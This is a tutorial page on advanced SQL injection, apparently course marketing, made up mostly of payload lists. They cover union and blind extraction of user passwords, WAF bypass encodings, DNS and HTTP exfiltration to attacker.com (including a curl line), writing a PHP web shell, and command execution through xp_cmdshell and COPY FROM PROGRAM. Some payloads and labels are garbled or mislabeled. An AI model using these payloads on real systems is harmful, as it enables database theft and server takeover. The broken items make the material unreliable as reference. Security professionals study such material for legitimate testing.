SQL Injection Advanced Techniques
Master Complex SQL Injection Attacks for Professional Security Testing
Understanding SQL Injection Complexity
SQL injection remains one of the most critical web application vulnerabilities despite decades of awareness. While basic SQL injection is well understood, advanced techniques enable attackers to exploit complex scenarios where standard approaches fail. Understanding these techniques is essential for security professionals who need to assess real-world applications protected by Web Application Firewalls, input filters, and other defensive mechanisms.
Advanced SQL injection encompasses scenarios where the application does not return query results, where defensive filters block common attack patterns, or where database-specific features enable alternative exploitation techniques. This guide covers the exploitation methods that separate advanced testers from beginners.
SQL Injection Classification
Data retrieved directly through the same channel used for injection. Union-based and error-based injection fall into this category.
No data transferred to attacker. Information retrieved by sending requests and observing behavior. Boolean and time-based techniques.
Data retrieved through alternative channels when in-band is not possible. DNS, HTTP, or file system channels used for data exfiltration.
Multiple SQL statements executed in sequence. Allows execution of completely different queries beyond data retrieval.
Union-Based SQL Injection Mastery
Union-based SQL injection remains the most efficient technique when applicable. By appending additional query results to the original response, attackers can extract any data the database contains. However, successful exploitation requires understanding column alignment, data type handling, and database-specific syntax.
Column Enumeration Techniques
# Method 1: ORDER BY (Preferred) # Increment numeric value until error occurs ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- # Error at ORDER BY 4 means 3 columns # Method 2: UNION SELECT NULL (Database agnostic) ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- # Increment until no error # Method 3: GROUP BY (Alternative) ' GROUP BY 1-- ' GROUP BY 2-- ' GROUP BY 3-- # Continue until no error # Observation: Different errors indicate different issues # Unknown column 'X': Column name not recognized # Type mismatch: Data type incompatibility
Data Type Considerations
# NULL works across all data types, but retrieved data won't display ' UNION SELECT NULL,NULL,NULL-- # Test each position with different types ' UNION SELECT 'test',NULL,NULL-- ' UNION SELECT NULL,'test',NULL-- ' UNION SELECT NULL,NULL,'test'-- # Common scenarios: # 2 columns, both accept strings: Display string data ' UNION SELECT username,password FROM users-- # 3 columns, first is numeric: Use CAST or CONVERT ' UNION SELECT NULL,username,NULL FROM users-- ' UNION SELECT CAST(username AS CHAR),password,NULL FROM users-- # 4 columns, only third displays: Extract single column ' UNION SELECT NULL,NULL,username,NULL FROM users--
Advanced Union Injection Patterns
# Multi-Table Data Extraction ' UNION SELECT NULL,username,password,email FROM users-- # Combining Multiple Tables ' UNION SELECT table_name,column_name,NULL,NULL FROM information_schema.columns WHERE table_schema=database()-- # Subquery in Union (MySQL) ' UNION SELECT NULL,(SELECT password FROM users LIMIT 1),'x','x'-- # Chaining Multiple Unions ' UNION SELECT user(),NULL,NULL-- ' UNION SELECT database(),NULL,NULL-- ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- # Handling Complex Filters # When space is filtered: ' UNION/**/SELECT/**/NULL-- ' UNION SELECT all NULL-- %09UNION%09SELECT%09NULL-- (Horizontal tab) %0aUNION%0aSELECT%0aNULL-- (Newline) %0dUNION%0dSELECT%0dNULL-- (Carriage return) # Encoding variations UNICODE encoding: %u0027 for single quote Double URL encoding: %2527 for %27
Blind Boolean-Based SQL Injection
When the application does not return query results or errors, boolean-based blind injection becomes the primary extraction technique. By crafting conditional queries and observing application responses, attackers can systematically extract data one character at a time. While slower than union-based techniques, blind injection can extract any data the database contains.
Boolean-Based Injection Fundamentals
# Basic Boolean Test # True condition - application behaves normally ' AND 1=1-- Response: Normal page content # False condition - different response ' AND 1=2-- Response: Different page, error, or empty result # This difference confirms blind SQL injection exists # Testing Specific Conditions ' AND (SELECT COUNT(*) FROM users)>0-- # Returns true if users table exists ' AND (SELECT LENGTH(password) FROM users WHERE username='admin')=32-- # Returns true if admin password hash is 32 characters (MD5) # Building Binary Search Logic # Determine character value using comparison ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>64-- # If true, character ASCII value is between 65-122 ' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>96-- # Continue binary search until exact value determined
Manual Approach:
Test specific conditions
Verify vulnerability existence
Extract critical data
Ideal for limited data extraction
Automated Tools:
SQLMap handles complexity
Parallel requests for speed
Benchmarking for accuracy
Essential for large data extraction
Advanced Boolean Exploitation
# String Extraction with Substring ' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- # Using LIKE for Pattern Matching ' AND password LIKE 'a%'-- ' AND password LIKE '%admin%'-- # Bitwise Operations (MySQL) ' AND (ASCII(SUBSTRING(password,1,1)) & 128)>0-- # Multiple Condition Testing ' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND LENGTH(password)>10)>0-- # Database Fingerprinting via Boolean ' AND @@version LIKE '%Microsoft%'-- ' AND VERSION() LIKE '%Linux%'-- ' AND EXISTS(SELECT * FROM information_schema.tables)-- # Table and Column Discovery ' AND EXISTS(SELECT * FROM users)-- ' AND EXISTS(SELECT password FROM users)-- ' AND (SELECT COUNT(username) FROM users)>5-- # Time-Based Fallback for Boolean ' AND (SELECT CASE WHEN 1=1 THEN SLEEP(5) ELSE 0 END)-- ' AND IF(1=1,SLEEP(5),0)--
Time-Based Blind SQL Injection
Time-based injection uses database delay functions to infer information. When no visible difference exists between true and false conditions, response time becomes the observable signal. This technique is essential for fully blind scenarios where boolean-based approaches fail due to identical responses for both conditions.
Database-Specific Time Functions
# MySQL Time-Based
' AND SLEEP(5)--
' AND BENCHMARK(5000000,SHA1('test'))--
' AND (SELECT COUNT(*) FROM users)=SLEEP(IF((SELECT COUNT(*) FROM users)>0,5,0))--
# PostgreSQL Time-Based
' AND PG_SLEEP(5)--
' AND 1=pg_sleep(5)--
' OR 1=CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN pg_sleep(5) ELSE 0 END--
# Microsoft SQL Server Time-Based
' WAITFOR DELAY '00:00:05'--
' WAITFOR TIME '12:34:56'--
' IF (1=1) WAITFOR DELAY '00:00:05'--
# Oracle Time-Based
' AND DBMS_PIPE.RECEIVE_MESSAGE('SQL',5)--
' AND 1=DBMS_LOCK.SLEEP(5)--
' OR 1=1 AND CTXSYS.DRITHSX.SN(user,('test'))>0--
# SQLite Time-Based
' AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB)))--
# Sleep Combined with Boolean
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)='0'Optimizing Time-Based Extraction
# Binary Search for Faster Extraction
# Instead of 127 requests per character, use binary search (~7 requests)
# Character ASCII value range: 32-126
# Midpoint: (32+126)/2 = 79 (character 'O')
' AND ASCII(SUBSTRING(password,1,1))>79--
# If true, range is 80-126
# If false, range is 32-79
# Continue halving until single character determined
# Parallel Time-Based (Advanced)
# When application allows concurrent requests
' AND (SELECT COUNT(*) FROM users WHERE ASCII(SUBSTRING(password,1,1)) BETWEEN 48 AND 57)>=0 AND SLEEP(2)--
# Heavy Query Time-Based
' AND 1=1 AND (SELECT COUNT(*) FROM users u1, users u2, users u3)>0 AND SLEEP(5)--
# Nested joins cause delay proportional to table size
# Benchmark-Based (MySQL)
' AND BENCHMARK(5000000,SHA1('test'))>0--
' AND BENCHMARK((SELECT COUNT(*) FROM users)*1000000,SHA1('test'))>0--
# DNS Exfiltration Alternative
# When time-based is too slow, use out-of-band techniques
' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\test'))--SQL Injection WAF Bypass Techniques
Web Application Firewalls implement pattern matching to block common SQL injection attacks. However, these filters often have weaknesses that can be exploited through variations in syntax, encoding, and payload structure. Understanding bypass techniques requires knowledge of how WAFs detect attacks and what gaps exist in their detection logic.
WAF Bypass Fundamentals
# Whitespace Manipulation ' UNION SELECT username,password FROM users-- 'UNION SELECT username,password FROM users-- 'UNION SELECT username,password FROM users-- '%09UNION%09SELECT%09username,password%09FROM%09users-- '%0aUNION%0aSELECT%0ausername,password%0aFROM%0ausers-- '%0dUNION%0dSELECT%0dusername,password%0dFROM%0dusers-- '%20UNION%20SELECT%20username,password%20FROM%20users-- '%0bUNION%0bSELECT%0busername,password%0bFROM%0busers-- '%a0UNION%a0SELECT%a0username,password%a0FROM%a0users-- # Comment Injection '/**/UNION/**/SELECT/**/username,password/**/FROM/**/users-- '/*!UNION*/SELECT/*!username*/,password FROM users-- '/*!12345UNION*/SELECT/*!12345username*/,password FROM users-- 'UN/**/ION SEL/**/ECT username,password FR/**/OM users-- # Case Variation ' UnIoN SeLeCt username,password FrOm users-- ' UNIOn sElEcT username,password fRoM users-- ' union select username,password from users--
- - Case-sensitive keyword matching
- - Only block common comment styles
- - Fail to normalize encoded input
- - Miss database-specific functions
- - Test each variation systematically
- - Combine multiple bypass techniques
- - Use different encoding schemes
- - Test against real database for accuracy
Advanced Bypass Techniques
# Double Encoding # If WAF decodes once but application decodes twice %2527 instead of %27 %252d%252d instead of -- # Unicode Normalization ' = ' = ʸ ' or ''=' ' or 'z'='z # HTTP Parameter Pollution (HPP) # Multiple parameters with same name username=test' OR '1'='1&username= email=test'+OR+'1'='1&email= # HTTP Parameter Fragmentation (HPF) # Splitting keywords across parameters param1=UNI¶m2=ON¶m3=SEL¶m4=ECT # Parsers Confusion # Different parsing between WAF and application ' OR '1'='1' -- (Valid SQL) ' OR '1'='1' -- (WAF sees this) ' OR '1'='1'%23 (URL decoded # as comment) ' OR '1'='1'%2d%2d (URL decoded -- as comment) # Database-Specific Bypass # MySQL: Using hex instead of strings ' UNION SELECT 0x75736572,0x70617373 -- (user, pass in hex) # SQL Server: String concatenation ' UN'+'ION SE'+'LECT us'+'ername,pass'+'word FR'+'OM users-- # PostgreSQL: Dollar-quoted strings ' UNION SELECT $$username$$,$$password$$ FROM users-- # Using alternative operators ' OR 'x'='x' EQUAl 'y' OR 'a'='a ' OR 'x' LIKE 'y' OR 'a' LIKE 'a'
Out-of-Band SQL Injection
When normal SQL injection techniques fail due to lack of output, out-of-band techniques enable data retrieval through alternative channels. DNS exfiltration is particularly powerful because many database servers have outbound DNS access that cannot be easily restricted.
DNS Exfiltration Setup
# Required Infrastructure # 1. Register domain (e.g., attacker.com) # 2. Configure nameserver to log all queries # 3. Point subdomain wildcards to your server *.exfil.attacker.com -> Your server IP # Server Setup # Using Burp Collaborator # Generate collaborator payload in Burp Suite Professional # Use the generated domain for exfiltration # Alternative: Using interactsh # Open https://app.interactsh.com # Get unique identifier # Use identifier.oast.tech domain # DNS Query Observation tcpdump -i eth0 port 53 # or tail -f /var/log/named/query.log
MySQL DNS Exfiltration
# Load File for DNS Query (MySQL)
' AND LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users WHERE username='admin' LIMIT 1),'.attacker.com\\test'))--
# This causes DNS lookup:
# [password-hash].attacker.com
# Observe queries on your DNS server
# UNC Path Injection (Windows)
' UNION SELECT NULL,NULL,'\\\\'+(SELECT password FROM users)+'.attacker.com\\test'--
# Using Subdomain Replacement
' AND (SELECT LOAD_FILE(CONCAT('\\\\',(SELECT HEX(password) FROM users LIMIT 1),'.attacker.com\\x')))--
# SQLMap Out-of-Band Option
sqlmap -u "http://target.com/?id=1" --dns-domain=attacker.com
sqlmap -u "http://target.com/?id=1" --second-order="http://attacker.com/"HTTP and XML Exfiltration
# HTTP Request Exfiltration (when DNS is blocked)
' UNION SELECT NULL,NULL,UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1))--
# Oracle XMLHttpRequest
' AND UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) IS NOT NULL--
# Using UTL_INADDR (Oracle)
' AND SYS.LT.INDEXNAME('ATTACKER.COM') IS NOT NULL--
# PostgreSQL HTTP Client
' AND 1=1; COPY (SELECT password FROM users) TO PROGRAM 'curl http://attacker.com/?data='||(SELECT password FROM users LIMIT 1)--Database-Specific Exploitation
Each database management system has unique features and vulnerabilities. Effective SQL injection testing requires understanding database-specific syntax, functions, and attack vectors that differ significantly across systems.
# Version and System Information
SELECT @@version
SELECT @@datadir
SELECT user()
SELECT database()
# Reading Files
SELECT LOAD_FILE('/etc/passwd')
SELECT INTO OUTFILE '/tmp/test.txt'
# Writing Files (requires privileges)
SELECT 'test' INTO OUTFILE '/var/www/html/shell.php'
# System Command Execution (requires privileges)
# Using UDF (User Defined Functions)
SELECT * FROM mysql.func
# Load lib_mysqludf_sys from Metasploit
# Chained Queries (MySQL)
'; SELECT password FROM users;--
# Getting Shell via SQL Injection
' UNION SELECT NULL,"<?php system($_GET['cmd']);?>",NULL INTO OUTFILE '/var/www/html/shell.php'--
# Information Schema Enumeration
SELECT table_name FROM information_schema.tables
SELECT column_name FROM information_schema.columns WHERE table_name='users'# Version and System Information SELECT @@version SELECT @@servername SELECT DB_NAME() SELECT SUSER_NAME() SELECT USER_NAME() # System Command Execution EXEC xp_cmdshell 'whoami' EXEC sp_executesql 'xp_cmdshell "whoami"' # Enabling xp_cmdshell (if disabled) EXEC sp_configure 'xp_cmdshell', 1 RECONFIGURE # Linked Server Enumeration SELECT * FROM openquery((SELECT * FROM openquery((local),'SELECT @@version as val')),'SELECT val') # CLR Integration (SQL Server 2005+) CREATE ASSEMBLY [Shell] FROM 0x4d5a... WITH PERMISSION_SET = UNSAFE CREATE PROCEDURE sp_exec_cmd @cmd NVARCHAR AS EXTERNAL NAME Shell(cmd).cmdExec # Data Extraction from Other Databases UNION SELECT NULL,NULL,password FROM users-- UNION SELECT NULL,table_name,column_name FROM [DatabaseName]..syscolumns--
# Version and System Information
SELECT version()
SELECT inet_server_addr()
SELECT inet_client_addr()
# System Command Execution
# Using pltproc Debian/Ubuntu
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6','system' LANGUAGE C STRICT
SELECT system('whoami')
# File Read
SELECT pg_read_file('/etc/passwd', 0, 1000)
# File Write
COPY (SELECT 'test') TO '/tmp/test.txt'
# Libraries and Extensions
SELECT * FROM pg_extension
SELECT * FROM pg_user
# PostgreSQL to Shell
' UNION SELECT NULL,NULL,NULL--
'; CREATE TABLE cmd(cmd_output text);--
'; COPY cmd FROM PROGRAM 'id > /tmp/pwned';--
'; SELECT * FROM cmd;--# Version and System Information
SELECT * FROM v$version
SELECT * FROM v$instance
SELECT * FROM user_tablespaces
# Information Extraction
SELECT table_name FROM all_tables
SELECT column_name,table_name FROM all_tab_columns
# UTL_HTTP for HTTP Requests
SELECT UTL_HTTP.REQUEST('http://attacker.com/') FROM dual
# DBMS_LOB for Large Data
SELECT DBMS_LOB.SUBSTR(payload,4000,1) FROM payloads
# UTL_FILE for File Access
SELECT UTL_FILE.FOPEN('/tmp', 'test.txt', 'R') FROM dual
# Scheduler for Code Execution
BEGIN DBMS_SCHEDULER.CREATE_PROGRAM(...); END;
BEGIN DBMS_SCHEDULER.CREATE_JOB(...); END;
# Oracle to Shell
' UNION SELECT NULL,NULL,NULL FROM dual--
'; SELECT DBMS_XMLQUERY.newContext('select user from dual') FROM dual;--
'; SELECT DBMS_AW_XML.newContext('select user from dual') FROM dual;--Frequently Asked Questions
What is blind SQL injection?
Blind SQL injection occurs when the application does not display SQL errors or query results directly, but the vulnerability still exists. Attackers infer information by asking yes/no questions to the database through conditional responses. Since there is no visible output, exploitation requires observing differences in application behavior, such as page content, HTTP status codes, or response times. Blind SQL injection is slower but still allows complete data extraction.
How does time-based blind SQL injection work?
Time-based blind SQL injection uses database delay functions to infer information. By injecting a condition that causes a deliberate delay (like SLEEP() in MySQL or pg_sleep() in PostgreSQL), attackers can determine if the condition is true or false based on response time. True conditions cause delays while false conditions return immediately. This technique works even when there is no visible output difference, making it useful for fully blind scenarios where boolean-based techniques fail.
What are the most effective SQL injection WAF bypass techniques?
Effective WAF bypass techniques include: case variation (UniOn vs UNION); URL encoding of special characters; comment injection to break pattern matching (UN/**/ION); White space alternatives (tab, newline, comments); nested encoding; case-sensitive keyword splitting; and database-specific functions that behave similarly to blocked keywords. The key is understanding what patterns the WAF blocks and testing variations that achieve the same effect while evading detection. New techniques constantly emerge as WAFs update their rules.
How do you extract data using union-based SQL injection?
Union-based SQL injection appends additional query results to the original response. First, determine the number of columns in the original query using ORDER BY or UNION SELECT NULL techniques. Then craft a union query with matching column count that selects data from tables you want to extract. The extracted data appears in the application response, enabling rapid data retrieval. Understanding NULL vs specific data types helps when the application expects particular column types. Multiple queries can be chained for comprehensive database enumeration.
What is out-of-band SQL injection and when is it useful?
Out-of-band SQL injection retrieves data through alternative channels when normal SQL injection techniques fail due to lack of output or slow blind injection. Instead of getting data through query results, attackers make the database send data via DNS queries (using load_file() or DNS exfiltration techniques), HTTP requests, or other channels. This technique is particularly useful when the application is completely blind to query results but allows external network connections from the database server. Tools like SQLMap support out-of-band data retrieval through various protocols.
How do you identify which database type you are targeting?
Database identification uses multiple techniques: error message analysis reveals database-specific syntax; string concatenation methods differ (MySQL uses CONCAT(), PostgreSQL uses ||); version functions vary (VERSION() in MySQL, @@version in SQL Server); and comment syntax differs (-- vs #). Time delays also reveal database type (SLEEP() for MySQL, WAITFOR DELAY in SQL Server, pg_sleep() in PostgreSQL). Automated tools like SQLMap perform comprehensive fingerprinting, but manual identification helps when choosing exploitation techniques.
Master SQL Injection Exploitation
Learn advanced SQL injection techniques and other web vulnerabilities in our comprehensive ethical hacking course.
